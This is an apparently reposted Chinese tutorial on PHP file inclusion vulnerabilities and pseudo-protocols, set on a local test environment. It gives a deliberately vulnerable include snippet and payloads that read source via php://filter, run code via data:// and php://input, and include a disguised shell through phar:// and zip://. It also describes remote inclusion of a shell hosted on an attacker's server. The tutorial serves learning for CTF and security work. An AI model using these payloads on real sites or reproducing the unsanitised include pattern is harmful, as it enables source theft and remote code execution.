当前位置: 首页 > news >正文

WEB 文件包含 /伪协议

首先谈谈什么是文件包含

WEB入门——文件包含漏洞与PHP伪协议_文件包含php伪协议_HasntStartIsOver的博客-CSDN博客

文件包含

程序员在编写的时候 可能写了自己的 函数 
如果想多次调用 那么就需要 重新写在源代码中
太过于麻烦了只需要写入 funcation.php然后在需要引用的地方 利用include funcation.php 函数
就可以调用  function.php的代码但是如果 网站开发人员 把 include  中的php 作为一个变量那么普通用户也可以通过传参 来访问 这个文件就造成了 文件包含漏洞例如 $a=$_GET['a'];
include $_GET['a'];这样就对上传的东西 没有控制 那么就可以访问文件了

我们来本地搭建一个环境看看

一个flag  一个test

<?php highlight_file(__FILE__);if(isset($_GET['file'])) {$str = $_GET['file'];include $_GET['file'];
}

 这里就存在漏洞 因为对我们的传参没有限制 我们就可以访问文件了

?file=./flag.txt   ./ 表示当前目录

 

 这样就访问了 flag文件

这就是最简单的文件包含漏洞

这里给出常见的文件包含的函数

 include

include()
当文件读取到 include()的时候 才把文件包含进来 并且发生错误会发出警告 但是还是会继续执行

 include_once

include_once()
一样的 但是 如果文件已经被包含一次
那么就不会再被包含

区别

如果包含了一次第二次就不会执行了

require

require() 
和inculde 作用一样 但是如果出错了 就会终止 停止执行

 require_once

require_once()
一样的 包含两次的话就不会执行了

 区别

和上面一样

highlight_file、show_source

highlight_file()   、show_source()对文件进行高亮显示  通常可以看到源代码

 

 readfile、file_get_contents

readfile()  file_get_contents()读取文件 送入缓冲区
注意这里会直接解析 php 文件file_get_contents()
是读取文件作为一个字符串

p

 

 

 乱码是因为我没有设置解析

fopen

fopen()打开一个文件或者 url

这里就是文件包含常见的函数

这里我们再给出分类

文件包含漏洞的分类

本地文件包含

被包含的文件在本地服务器中 那么就是本地文件包含

远程文件包含

php.ini中的 all_url_fopen和include 打开的话 就会远程文件包含

远程文件包含就是

两个服务器
一个是本地服务器
一个是攻击者的攻击者的web 根目录中写入 shell
那么127.0.0.1/test.php?file=服务器的id/shell这样就可以访问到shell 

接下来我们解释 伪协议

伪协议

首先给出常见的 伪协议

file://  协议

file://[文件的绝对路径和文件名]
访问本地文件
?file=file:///d:\phpstudy_pro\WWW\flag.txt

 php:// 协议

php协议有很多

这里给出常用的

php://filter: 用于读源码php://input: 用于执行php代码

php://filter

这在ctf中 很多都是使用 这个 就可以读取源代码

?file=php://filter/resource=flag.txt
无过滤的读取  直接返回全部?file=php://filter/read=string.toupper/resource=flag.txt通过设置read的值 来返回读取的内容?file=php://filter/convert.base64-encode/resource=flag.txt通过base64加密后 flag的内容?file=php://filter/read=string.toupper|convert.base64-encode/resource=flag.txt通过 大写 并且 base64加密

php://input

需要 allow_url_include 为on

<?php
$user = $_GET["user"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="123123")){echo "hello admin!<br>";
}else{echo "you are not admin ! ";
}
?>

 这里我们就向user 传入了 123123的内容

data://  协议

条件是  双on (fopen/include)

该协议 可以将 php代码 通过 协议发送并且执行

 用法

?file=data://text/plain,<?php phpinfo()?>?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=base64加密后

 phar://协议

这个伪协议可以访问 解压包中的文件的内容phar://[解压包路径/被解压文件名称]

我们首先创建一个 shell.zip

里面是 shell.php 内容为 <?php echo 'hello';?>

 然后来访问

?file=phar://./shell.zip/shell.php

 注意 这个协议无视后缀名

shell.zip 该为 shell.png

?file=phar://./shell.png/shell.php

依旧可以访问

zip:// 协议

和phar协议类似 但是需要的是绝对路径

并且 访问压缩包下的内容和压缩包需要用%23(#的url编码)隔开

?file=zip://../WWW/shell.zip%23shell.php

到这里 常见的伪协议就结束了

http://www.lryc.cn/news/99598.html

相关文章:

  • ComPDFKit PDF SDK库(支持Windows、Web、Android、iOS、Mac等平台)
  • 微服务契约测试框架-Pact
  • LightGlue论文翻译
  • iOS开发-CAShapeLayer与UIBezierPath实现微信首页的下拉菜单效果
  • 《Elasticsearch 源码解析与优化实战》第5章:选主流程
  • Spring Cloud Alibaba - Nacos源码分析(三)
  • DOCKER镜像和容器
  • 探索网页原型设计:构建出色的用户体验
  • 48,排序算法merge
  • 【MySQL】复合查询
  • JavaScript中的this指向及绑定规则
  • css中预编译理解,它们之间区别
  • 如何使用Java处理JSON数据?
  • java设计模式-观察者模式
  • HiveSQL SparkSQL中常用知识点记录
  • mac不识别移动硬盘导致无法拷贝资源
  • Opencv的Mat内容学习
  • MySQL~数据库的设计
  • 开源了!最强原创图解八股文面试网来袭
  • 微信小程序开发6
  • JS 根据身份证号获取年龄、性别、出生日期
  • Python+Mongo+LSTM(GTP生成)
  • 关于idea如何成功运行web项目
  • python读取json文件
  • 迁移学习、微调、计算机视觉理论(第十一次组会ppt)
  • 特殊矩阵的压缩存储
  • 【网络原理】 (1) (应用层 传输层 UDP协议 TCP协议 TCP协议段格式 TCP内部工作机制 确认应答 超时重传 连接管理)
  • 【SQL语句】
  • 自动驾驶和机器人学习和总结专栏汇总
  • 【C++初阶】C++基础(下)——引用、内联函数、auto关键字、基于范围的for循环、指针空值nullptr